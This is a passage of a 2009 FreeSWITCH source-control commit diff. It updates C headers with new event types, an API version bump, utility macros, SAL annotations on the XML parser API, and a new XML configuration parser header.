+	SWITCH_EVENT_SEND_INFO,
+	SWITCH_EVENT_RECV_INFO,
+	SWITCH_EVENT_CALL_SECURE,
+	SWITCH_EVENT_NAT,
 	SWITCH_EVENT_ALL
 } switch_event_types_t;
 
@@ -1424,7 +1492,7 @@
 typedef struct switch_network_list switch_network_list_t;
 
 
-#define SWITCH_API_VERSION 3
+#define SWITCH_API_VERSION 4
 #define SWITCH_MODULE_LOAD_ARGS (switch_loadable_module_interface_t **module_interface, switch_memory_pool_t *pool)
 #define SWITCH_MODULE_RUNTIME_ARGS (void)
 #define SWITCH_MODULE_SHUTDOWN_ARGS (void)

Modified: freeswitch/branches/seven/src/include/switch_utils.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_utils.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_utils.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_utils.h -- Compatability and Helper Code
@@ -57,10 +57,11 @@
 SWITCH_DECLARE(int) switch_isxdigit(int c);
 
 #define switch_goto_status(_status, _label) status = _status; goto _label
+#define switch_goto_int(_n, _i, _label) _n = _i; goto _label
 #define switch_samples_per_packet(rate, interval) ((uint32_t)((float)rate / (1000.0f / (float)interval)))
 #define SWITCH_SMAX 32767
 #define SWITCH_SMIN -32768
-#define switch_normalize_to_16bit(n) if (n > SWITCH_SMAX) n = SWITCH_SMAX / 2; else if (n < SWITCH_SMIN) n = SWITCH_SMIN / 2;
+#define switch_normalize_to_16bit(n) if (n > SWITCH_SMAX) n = SWITCH_SMAX; else if (n < SWITCH_SMIN) n = SWITCH_SMIN;
 #define switch_codec2str(codec,buf,len) snprintf(buf, len, "%s@%uh@%ui", \
                                                  codec->implementation->iananame, \
                                                  codec->implementation->samples_per_second, \
@@ -85,8 +86,22 @@
 	return SWITCH_TRUE;
 }
 
+#define switch_is_valid_rate(_tmp) (_tmp == 8000 || _tmp == 16000 || _tmp == 32000 || _tmp == 11025 || _tmp == 22050 || _tmp == 44100 || _tmp == 48000)
 
+static inline int switch_string_has_escaped_data(const char *in)
+{
+	const char *i = strchr(in, '\\');
 
+	while (i && *i == '\\') {
+		i++;
+		if (*i == '\\' || *i == 'n' || *i == 's' || *i == 't') {
+			return 1;
+		}
+		i = strchr(i, '\\');
+	}
+	
+	return 0;
+}
 
 SWITCH_DECLARE(switch_status_t) switch_b64_encode(unsigned char *in, switch_size_t ilen, unsigned char *out, switch_size_t olen);
 SWITCH_DECLARE(switch_size_t) switch_b64_decode(char *in, char *out, switch_size_t olen);
@@ -108,28 +123,32 @@
 SWITCH_DECLARE(switch_size_t) switch_fd_read_line(int fd, char *buf, switch_size_t len);
 
 
+SWITCH_DECLARE(switch_status_t) switch_frame_alloc(switch_frame_t **frame, switch_size_t size);
+SWITCH_DECLARE(switch_status_t) switch_frame_dup(switch_frame_t *orig, switch_frame_t **clone);
+SWITCH_DECLARE(switch_status_t) switch_frame_free(switch_frame_t **frame);
+
 /*!
   \brief Evaluate the truthfullness of a string expression
   \param expr a string expression
   \return true or false 
 */
 #define switch_true(expr)\
-(expr && ( !strcasecmp(expr, "yes") ||\
+((expr && ( !strcasecmp(expr, "yes") ||\
 !strcasecmp(expr, "on") ||\
 !strcasecmp(expr, "true") ||\
 !strcasecmp(expr, "enabled") ||\
 !strcasecmp(expr, "active") ||\
 !strcasecmp(expr, "allow") ||\
-atoi(expr))) ? SWITCH_TRUE : SWITCH_FALSE
+(switch_is_number(expr) && atoi(expr)))) ? SWITCH_TRUE : SWITCH_FALSE)
 
 #define switch_true_buf(expr)\
-(( !strcasecmp(expr, "yes") ||\
+((( !strcasecmp(expr, "yes") ||\
 !strcasecmp(expr, "on") ||\
 !strcasecmp(expr, "true") ||\
 !strcasecmp(expr, "enabled") ||\
 !strcasecmp(expr, "active") ||\
 !strcasecmp(expr, "allow") ||\
-atoi(expr))) ? SWITCH_TRUE : SWITCH_FALSE
+(switch_is_number(expr) && atoi(expr)))) ? SWITCH_TRUE : SWITCH_FALSE)
 
 /*!
   \brief Evaluate the falsefullness of a string expression
@@ -137,13 +156,13 @@
   \return true or false 
 */
 #define switch_false(expr)\
-(expr && ( !strcasecmp(expr, "no") ||\
+((expr && ( !strcasecmp(expr, "no") ||\
 !strcasecmp(expr, "off") ||\
 !strcasecmp(expr, "false") ||\
 !strcasecmp(expr, "disabled") ||\
 !strcasecmp(expr, "inactive") ||\
 !strcasecmp(expr, "disallow") ||\
-!atoi(expr))) ? SWITCH_TRUE : SWITCH_FALSE
+(switch_is_number(expr) && !atoi(expr)))) ? SWITCH_TRUE : SWITCH_FALSE)
 
 
 /*!
@@ -154,7 +173,7 @@
   \return SWITCH_STATUS_SUCCESSS for success, otherwise failure
 */
 SWITCH_DECLARE(switch_status_t) switch_find_local_ip(_Out_opt_bytecapcount_(len)
-													 char *buf, _In_ int len, _In_ int family);
+													 char *buf, _In_ int len, _In_opt_ int *mask, _In_ int family);
 
 /*!
   \brief find the char representation of an ip adress
@@ -496,7 +515,7 @@
 SWITCH_DECLARE(const char *) switch_stristr(const char *instr, const char *str);
 SWITCH_DECLARE(switch_bool_t) switch_is_lan_addr(const char *ip);
 SWITCH_DECLARE(char *) switch_replace_char(char *str, char from, char to, switch_bool_t dup);
-SWITCH_DECLARE(switch_bool_t) switch_ast2regex(char *pat, char *rbuf, size_t len);
+SWITCH_DECLARE(switch_bool_t) switch_ast2regex(const char *pat, char *rbuf, size_t len);
 
 /*!
   \brief Escape a string by prefixing a list of characters with an escape character
@@ -532,7 +551,7 @@
 SWITCH_DECLARE(char *) switch_find_end_paren(const char *s, char open, char close);
 
 SWITCH_DECLARE(int) switch_parse_cidr(const char *string, uint32_t *ip, uint32_t *mask, uint32_t *bitp);
-SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, switch_bool_t default_type, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, const char *name, switch_bool_t default_type, switch_memory_pool_t *pool);
 SWITCH_DECLARE(switch_status_t) switch_network_list_add_cidr_token(switch_network_list_t *list, const char *cidr_str, switch_bool_t ok, const char *token);
 #define switch_network_list_add_cidr(_list, _cidr_str, _ok) switch_network_list_add_cidr_token(_list, _cidr_str, _ok, NULL)
 
@@ -543,8 +562,10 @@
 
 #define switch_test_subnet(_ip, _net, _mask) (_mask ? ((_net & _mask) == (_ip & _mask)) : _net ? _net == _ip : 1)
 
-int switch_inet_pton(int af, const char *src, void *dst);
+SWITCH_DECLARE(int) switch_inet_pton(int af, const char *src, void *dst);
 
+SWITCH_DECLARE(int) switch_number_cmp(const char *exp, int val);
+
 /* malloc or DIE macros */
 #ifdef NDEBUG
 #define switch_malloc(ptr, len) (void)( (!!(ptr = malloc(len))) || (fprintf(stderr,"ABORT! Malloc failure at: %s:%s", __FILE__, __LINE__),abort(), 0), ptr )
@@ -559,6 +580,12 @@
 #endif
 #endif
 
+#ifndef _MSC_VER
+#define switch_inet_ntop inet_ntop
+#else
+SWITCH_DECLARE(const char *) switch_inet_ntop(int af, void const *src, char *dst, size_t size);
+#endif
+
 SWITCH_END_EXTERN_C
 #endif
 /* For Emacs:

Copied: freeswitch/branches/seven/src/include/switch_version.h.cmake (from rev 14471, freeswitch/trunk/src/include/switch_version.h.cmake) (0 => 14472)


--- freeswitch/branches/seven/src/include/switch_version.h.cmake	                        (rev 0)
+++ freeswitch/branches/seven/src/include/switch_version.h.cmake	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005/2006, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Michael Jerris <mike@jerris.com>
+ *
+ * switch_version.h -- Version Number Header
+ *
+ */
+
+#ifndef SWITCH_VERSION_H
+#define SWITCH_VERSION_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define SWITCH_VERSION_MAJOR			"@freeswitch_MAJOR_VERSION@"
+#define SWITCH_VERSION_MINOR			"@freeswitch_MINOR_VERSION@"
+#define SWITCH_VERSION_MICRO			"@freeswitch_PATCH_LEVEL@"
+#define SWITCH_VERSION_REVISION			"@Project_WC_REVISION@"
+#define SWITCH_VERSION_FULL			SWITCH_VERSION_MAJOR "." SWITCH_VERSION_MINOR "." SWITCH_VERSION_MICRO " (" SWITCH_VERSION_REVISION ")"
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif

Modified: freeswitch/branches/seven/src/include/switch_version.h.template (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_version.h.template	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_version.h.template	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005/2006, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  *
  * switch_version.h -- Version Number Header

Modified: freeswitch/branches/seven/src/include/switch_xml.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_xml.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_xml.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_xml.h -- XML PARSER
@@ -98,6 +98,21 @@
 	uint32_t flags;
 };
 
+/*! 
+ * \brief Parses a string into a switch_xml_t, ensuring the memory will be freed with switch_xml_free
+ * \param s The string to parse
+ * \param dup true if you want the string to be strdup()'d automatically
+ * \return the switch_xml_t or NULL if an error occured
+ */ 
+SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str_dynamic(_In_z_ char *s, _In_ switch_bool_t dup);
+
+/*! 
+ * \brief Parses a string into a switch_xml_t 
+ * \param s The string to parse
+ * \return the switch_xml_t or NULL if an error occured
+ */
+#define switch_xml_parse_str_dup(x)  switch_xml_parse_str_dynamic(x, SWITCH_TRUE)
+
 ///\brief Given a string of xml data and its length, parses it and creates an switch_xml
 ///\ structure. For efficiency, modifies the data by adding null terminators
 ///\ and decoding ampersand sequences. If you don't want this, copy the data and
@@ -105,7 +120,7 @@
 ///\param s a string
 ///\param len the length of the string
 ///\return a formated xml node or NULL
-SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str(char *s, switch_size_t len);
+SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str(_In_z_ char *s, _In_ switch_size_t len);
 
 ///\brief A wrapper for switch_xml_parse_str() that accepts a file descriptor. First
 ///\ attempts to mem map the file. Failing that, reads the file into memory.
@@ -117,23 +132,23 @@
 ///\brief a wrapper for switch_xml_parse_fd() that accepts a file name
 ///\param file a file to parse
 ///\return a formated xml node or NULL
-SWITCH_DECLARE(switch_xml_t) switch_xml_parse_file(const char *file);
+SWITCH_DECLARE(switch_xml_t) switch_xml_parse_file(_In_z_ const char *file);
 
-SWITCH_DECLARE(switch_xml_t) switch_xml_parse_file_simple(const char *file);
+SWITCH_DECLARE(switch_xml_t) switch_xml_parse_file_simple(_In_z_ const char *file);
 
 ///\brief Wrapper for switch_xml_parse_str() that accepts a file stream. Reads the entire
 ///\ stream into memory and then parses it. For xml files, use switch_xml_parse_file()
 ///\ or switch_xml_parse_fd()
 ///\param fp a FILE pointer to parse
 ///\return an xml node or NULL
-SWITCH_DECLARE(switch_xml_t) switch_xml_parse_fp(FILE * fp);
+SWITCH_DECLARE(switch_xml_t) switch_xml_parse_fp(_In_ FILE * fp);
 
 ///\brief returns the first child tag (one level deeper) with the given name or NULL
 ///\ if not found
 ///\param xml an xml node
 ///\param name the name of the child tag
 ///\return an xml node or NULL
-SWITCH_DECLARE(switch_xml_t) switch_xml_child(switch_xml_t xml, const char *name);
+SWITCH_DECLARE(switch_xml_t) switch_xml_child(_In_ switch_xml_t xml, _In_z_ const char *name);
 
 ///\brief find a child tag in a node called 'childname' with an attribute 'attrname' which equals 'value'
 ///\param node the xml node
@@ -141,8 +156,8 @@
 ///\param attrname the attribute name
 ///\param value the value
 ///\return an xml node or NULL
-SWITCH_DECLARE(switch_xml_t) switch_xml_find_child(switch_xml_t node, const char *childname, const char *attrname, const char *value);
-SWITCH_DECLARE(switch_xml_t) switch_xml_find_child_multi(switch_xml_t node, const char *childname, ...);
+SWITCH_DECLARE(switch_xml_t) switch_xml_find_child(_In_ switch_xml_t node, _In_z_ const char *childname, _In_opt_z_ const char *attrname, _In_opt_z_ const char *value);
+SWITCH_DECLARE(switch_xml_t) switch_xml_find_child_multi(_In_ switch_xml_t node, _In_z_ const char *childname, ...);
 
 ///\brief returns the next tag of the same name in the same section and depth or NULL
 ///\ if not found
@@ -155,7 +170,7 @@
 ///\param xml the xml node
 ///\param idx the index
 ///\return an xml node or NULL
-	 switch_xml_t switch_xml_idx(switch_xml_t xml, int idx);
+	 switch_xml_t switch_xml_idx(_In_ switch_xml_t xml, _In_ int idx);
 
 ///\brief returns the name of the given tag
 ///\param xml the xml node
@@ -171,13 +186,13 @@
 ///\param xml the xml node
 ///\param attr the attribute
 ///\return the value
-SWITCH_DECLARE(const char *) switch_xml_attr(switch_xml_t xml, const char *attr);
+SWITCH_DECLARE(const char *) switch_xml_attr(_In_opt_ switch_xml_t xml, _In_opt_z_ const char *attr);
 
 ///\brief returns the value of the requested tag attribute, or "" if not found
 ///\param xml the xml node
 ///\param attr the attribute
 ///\return the value
-SWITCH_DECLARE(const char *) switch_xml_attr_soft(switch_xml_t xml, const char *attr);
+SWITCH_DECLARE(const char *) switch_xml_attr_soft(_In_ switch_xml_t xml, _In_z_ const char *attr);
 
 ///\brief Traverses the switch_xml sturcture to retrieve a specific subtag. Takes a
 ///\ variable length list of tag names and indexes. The argument list must be
@@ -187,14 +202,14 @@
 ///\ Returns NULL if not found.
 ///\param xml the xml node
 ///\return an xml node or NULL
-SWITCH_DECLARE(switch_xml_t) switch_xml_get(switch_xml_t xml, ...);
+SWITCH_DECLARE(switch_xml_t) switch_xml_get(_In_ switch_xml_t xml, ...);
 
 ///\brief Converts an switch_xml structure back to xml. Returns a string of xml data that
 ///\ must be freed.
 ///\param xml the xml node
 ///\param prn_header add <?xml version..> header too
 ///\return the xml text string
-SWITCH_DECLARE(char *) switch_xml_toxml(switch_xml_t xml, switch_bool_t prn_header);
+SWITCH_DECLARE(char *) switch_xml_toxml(_In_ switch_xml_t xml, _In_ switch_bool_t prn_header);
 
 ///\brief Converts an switch_xml structure back to xml using the buffer passed in the parameters.
 ///\param xml the xml node
@@ -203,29 +218,29 @@
 ///\param offset offset to start at
 ///\param prn_header add <?xml version..> header too
 ///\return the xml text string
-SWITCH_DECLARE(char *) switch_xml_toxml_buf(switch_xml_t xml, char *buf, switch_size_t buflen, switch_size_t offset, switch_bool_t prn_header);
+SWITCH_DECLARE(char *) switch_xml_toxml_buf(_In_ switch_xml_t xml, _In_z_ char *buf, _In_ switch_size_t buflen, _In_ switch_size_t offset, _In_ switch_bool_t prn_header);
 
 ///\brief returns a NULL terminated array of processing instructions for the given
 ///\ target
 ///\param xml the xml node
 ///\param target the instructions
 ///\return the array
-SWITCH_DECLARE(const char **) switch_xml_pi(switch_xml_t xml, const char *target);
+SWITCH_DECLARE(const char **) switch_xml_pi(_In_ switch_xml_t xml, _In_z_ const char *target);
 
 ///\brief frees the memory allocated for an switch_xml structure
 ///\param xml the xml node
 ///\note in the case of the root node the readlock will be lifted
-SWITCH_DECLARE(void) switch_xml_free(switch_xml_t xml);
-SWITCH_DECLARE(void) switch_xml_free_in_thread(switch_xml_t xml, int stacksize);
+SWITCH_DECLARE(void) switch_xml_free(_In_opt_ switch_xml_t xml);
+SWITCH_DECLARE(void) switch_xml_free_in_thread(_In_ switch_xml_t xml, _In_ int stacksize);
 
 ///\brief returns parser error message or empty string if none
 ///\param xml the xml node
 ///\return the error string or nothing
-SWITCH_DECLARE(const char *) switch_xml_error(switch_xml_t xml);
+SWITCH_DECLARE(const char *) switch_xml_error(_In_ switch_xml_t xml);
 
 ///\brief returns a new empty switch_xml structure with the given root tag name
 ///\param name the name of the new root tag
-SWITCH_DECLARE(switch_xml_t) switch_xml_new(const char *name);
+SWITCH_DECLARE(switch_xml_t) switch_xml_new(_In_opt_z_ const char *name);
 
 ///\brief wrapper for switch_xml_new() that strdup()s name
 ///\param name the name of the root
@@ -238,7 +253,7 @@
 ///\param name the name of the tag
 ///\param off the offset
 ///\return an xml node or NULL
-SWITCH_DECLARE(switch_xml_t) switch_xml_add_child(switch_xml_t xml, const char *name, switch_size_t off);
+SWITCH_DECLARE(switch_xml_t) switch_xml_add_child(_In_ switch_xml_t xml, _In_z_ const char *name, _In_ switch_size_t off);
 
 ///\brief wrapper for switch_xml_add_child() that strdup()s name
 ///\param xml the xml node
@@ -288,10 +303,10 @@
 
 ///\brief removes a tag along with its subtags without freeing its memory
 ///\param xml the xml node
-SWITCH_DECLARE(switch_xml_t) switch_xml_cut(switch_xml_t xml);
+SWITCH_DECLARE(switch_xml_t) switch_xml_cut(_In_ switch_xml_t xml);
 
 ///\brief inserts an existing tag into an ezxml structure
-SWITCH_DECLARE(switch_xml_t) switch_xml_insert(switch_xml_t xml, switch_xml_t dest, switch_size_t off);
+SWITCH_DECLARE(switch_xml_t) switch_xml_insert(_In_ switch_xml_t xml, _In_ switch_xml_t dest, _In_ switch_size_t off);
 
 ///\brief Moves an existing tag to become a subtag of dest at the given offset from
 ///\ the start of dest's character content. Returns the moved tag.
@@ -304,13 +319,13 @@
 ///\param reload if it's is already open close it and open it again as soon as permissable (blocking)
 ///\param err a pointer to set error strings
 ///\return the xml root node or NULL
-SWITCH_DECLARE(switch_xml_t) switch_xml_open_root(uint8_t reload, const char **err);
+SWITCH_DECLARE(switch_xml_t) switch_xml_open_root(_In_ uint8_t reload, _Out_ const char **err);
 
 ///\brief initilize the core XML backend
 ///\param pool a memory pool to use
 ///\param err a pointer to set error strings
 ///\return SWITCH_STATUS_SUCCESS if successful
-SWITCH_DECLARE(switch_status_t) switch_xml_init(switch_memory_pool_t *pool, const char **err);
+SWITCH_DECLARE(switch_status_t) switch_xml_init(_In_ switch_memory_pool_t *pool, _Out_ const char **err);
 
 
 SWITCH_DECLARE(switch_status_t) switch_xml_destroy(void);
@@ -329,35 +344,39 @@
 ///\param node a pointer to the requested node
 ///\param params optional URL formatted params to pass to external gateways
 ///\return SWITCH_STATUS_SUCCESS if successful root and node will be assigned
-SWITCH_DECLARE(switch_status_t) switch_xml_locate(const char *section,
-												  const char *tag_name,
-												  const char *key_name, const char *key_value, switch_xml_t *root, switch_xml_t *node,
-												  switch_event_t *params);
+SWITCH_DECLARE(switch_status_t) switch_xml_locate(_In_z_ const char *section,
+												  _In_opt_z_ const char *tag_name,
+												  _In_opt_z_ const char *key_name, 
+												  _In_opt_z_ const char *key_value, 
+												  _Out_ switch_xml_t *root, 
+												  _Out_ switch_xml_t *node,
+												  _In_opt_ switch_event_t *params,
+												  _In_ switch_bool_t clone);
 
-SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(const char *domain_name, switch_event_t *params, switch_xml_t *root, switch_xml_t *domain);
+SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(_In_z_ const char *domain_name, _In_opt_ switch_event_t *params, _Out_ switch_xml_t *root, _Out_ switch_xml_t *domain);
 
-SWITCH_DECLARE(switch_status_t) switch_xml_locate_group(const char *group_name,
-														const char *domain_name, 
-														switch_xml_t *root,
-														switch_xml_t *domain,
-														switch_xml_t *group,
-														switch_event_t *params);
+SWITCH_DECLARE(switch_status_t) switch_xml_locate_group(_In_z_ const char *group_name,
+														_In_z_ const char *domain_name, 
+														_Out_ switch_xml_t *root,
+														_Out_ switch_xml_t *domain,
+														_Out_ switch_xml_t *group,
+														_In_opt_ switch_event_t *params);
 
-SWITCH_DECLARE(switch_status_t) switch_xml_locate_user(const char *key,
-													   const char *user_name,
-													   const char *domain_name,
-													   const char *ip,
-													   switch_xml_t *root, switch_xml_t *domain, switch_xml_t *user, switch_xml_t *ingroup, 
-													   switch_event_t *params);
+SWITCH_DECLARE(switch_status_t) switch_xml_locate_user(_In_z_ const char *key,
+													   _In_z_ const char *user_name,
+													   _In_z_ const char *domain_name,
+													   _In_opt_z_ const char *ip,
+													   _Out_ switch_xml_t *root, _Out_ switch_xml_t *domain, _Out_ switch_xml_t *user, _Out_opt_ switch_xml_t *ingroup, 
+													   _In_opt_ switch_event_t *params);
 
-SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(const char *user_name, switch_xml_t domain, switch_xml_t *user, switch_xml_t *ingroup);
+SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(_In_z_ const char *user_name, _In_ switch_xml_t domain, _Out_ switch_xml_t *user, _Out_opt_ switch_xml_t *ingroup);
 
 ///\brief open a config in the core registry
 ///\param file_path the name of the config section e.g. modules.conf
 ///\param node a pointer to point to the node if it is found
 ///\param params optional URL formatted params to pass to external gateways
 ///\return the root xml node associated with the current request or NULL
-SWITCH_DECLARE(switch_xml_t) switch_xml_open_cfg(const char *file_path, switch_xml_t *node, switch_event_t *params);
+SWITCH_DECLARE(switch_xml_t) switch_xml_open_cfg(_In_z_ const char *file_path, _Out_ switch_xml_t *node, _In_opt_ switch_event_t *params);
 
 ///\brief bind a search function to an external gateway
 ///\param function the search function to bind
@@ -366,22 +385,22 @@
 ///\return SWITCH_STATUS_SUCCESS if successful
 ///\note gateway functions will be executed in the order they were binded until a success is found else the root registry will be used
 
-SWITCH_DECLARE(void) switch_xml_set_binding_sections(switch_xml_binding_t *binding, switch_xml_section_t sections);
-SWITCH_DECLARE(void) switch_xml_set_binding_user_data(switch_xml_binding_t *binding, void *user_data);
-SWITCH_DECLARE(switch_xml_section_t) switch_xml_get_binding_sections(switch_xml_binding_t *binding);
-SWITCH_DECLARE(void *) switch_xml_get_binding_user_data(switch_xml_binding_t *binding);
+SWITCH_DECLARE(void) switch_xml_set_binding_sections(_In_ switch_xml_binding_t *binding, _In_ switch_xml_section_t sections);
+SWITCH_DECLARE(void) switch_xml_set_binding_user_data(_In_ switch_xml_binding_t *binding, _In_opt_ void *user_data);
+SWITCH_DECLARE(switch_xml_section_t) switch_xml_get_binding_sections(_In_ switch_xml_binding_t *binding);
+SWITCH_DECLARE(void *) switch_xml_get_binding_user_data(_In_ switch_xml_binding_t *binding);
 
-SWITCH_DECLARE(switch_status_t) switch_xml_bind_search_function_ret(switch_xml_search_function_t function, switch_xml_section_t sections, void *user_data, switch_xml_binding_t **ret_binding);
+SWITCH_DECLARE(switch_status_t) switch_xml_bind_search_function_ret(_In_ switch_xml_search_function_t function, _In_ switch_xml_section_t sections, _In_opt_ void *user_data, switch_xml_binding_t **ret_binding);
 #define switch_xml_bind_search_function(_f, _s, _u) switch_xml_bind_search_function_ret(_f, _s, _u, NULL)
 
 
-SWITCH_DECLARE(switch_status_t) switch_xml_unbind_search_function(switch_xml_binding_t **binding);
-SWITCH_DECLARE(switch_status_t) switch_xml_unbind_search_function_ptr(switch_xml_search_function_t function);
+SWITCH_DECLARE(switch_status_t) switch_xml_unbind_search_function(_In_ switch_xml_binding_t **binding);
+SWITCH_DECLARE(switch_status_t) switch_xml_unbind_search_function_ptr(_In_ switch_xml_search_function_t function);
 
 ///\brief parse a string for a list of sections
 ///\param str a | delimited list of section names
 ///\return the section mask
-SWITCH_DECLARE(switch_xml_section_t) switch_xml_parse_section_string(const char *str);
+SWITCH_DECLARE(switch_xml_section_t) switch_xml_parse_section_string(_In_opt_z_ const char *str);
 
 SWITCH_END_EXTERN_C
 ///\}

Copied: freeswitch/branches/seven/src/include/switch_xml_config.h (from rev 14471, freeswitch/trunk/src/include/switch_xml_config.h) (0 => 14472)


--- freeswitch/branches/seven/src/include/switch_xml_config.h	                        (rev 0)
+++ freeswitch/branches/seven/src/include/switch_xml_config.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,191 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Mathieu Rene <mathieu.rene@gmail.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Mathieu Rene <mathieu.rene@gmail.com>
+ *
+ *
+ * switch_xml_config.h - Generic configuration parser
+ *
+ */
+
+#ifndef SWITCH_XML_CONFIG_H
+#define SWITCH_XML_CONFIG_H
+
+#include <switch.h>
+
+SWITCH_BEGIN_EXTERN_C
+
+/*! \brief Type of value to parse */
+typedef enum {
+	SWITCH_CONFIG_INT,				/*< (ptr=int* default=int data=NULL) Integer */
+	SWITCH_CONFIG_STRING, 			/*< (ptr=[char* or char ** (for alloc)] default=char* data=switch_xml_config_string_options_t*) Zero-terminated C-string */
+	SWITCH_CONFIG_BOOL, 			/*< (ptr=switch_bool_t* default=switch_bool_t data=NULL) Yes and no */
+	SWITCH_CONFIG_CUSTOM, 			/*< (ptr=<custom function data> default=<custom function data> data=switch_xml_config_callback_t) Custom, get value through function pointer  */
+	SWITCH_CONFIG_ENUM, 			/*< (ptr=int* default=int data=switch_xml_config_enum_item_t*) */
+	SWITCH_CONFIG_FLAG,				/*< (ptr=int32_t* default=switch_bool_t data=int (flag index) */
+	SWITCH_CONFIG_FLAGARRAY,		/*< (ptr=int8_t* default=switch_bool_t data=int (flag index) */
+	
+	/* No more past that line */
+	SWITCH_CONFIG_LAST
+} switch_xml_config_type_t;
+
+typedef struct {                	
+	char *key;						/*< The item's key or NULL if this is the last one in the list */
+	int value;						/*< The item's value */
+} switch_xml_config_enum_item_t;
+
+typedef struct {
+	switch_memory_pool_t *pool; 	/*< If set, the string will be allocated on the pool (unless the length param is > 0, then you misread this file)*/
+	switch_size_t length;			/*< Length of the char array, or 0 if memory has to be allocated dynamically*/
+	char *validation_regex;			/*< Enforce validation using this regular expression */
+} switch_xml_config_string_options_t;
+
+SWITCH_DECLARE_DATA extern switch_xml_config_string_options_t switch_config_string_strdup; 	/*< String options structure for strdup, no validation */
+
+typedef struct {
+	switch_bool_t enforce_min;
+	int min;
+	switch_bool_t enforce_max;	
+	int max;
+} switch_xml_config_int_options_t;
+
+struct switch_xml_config_item;
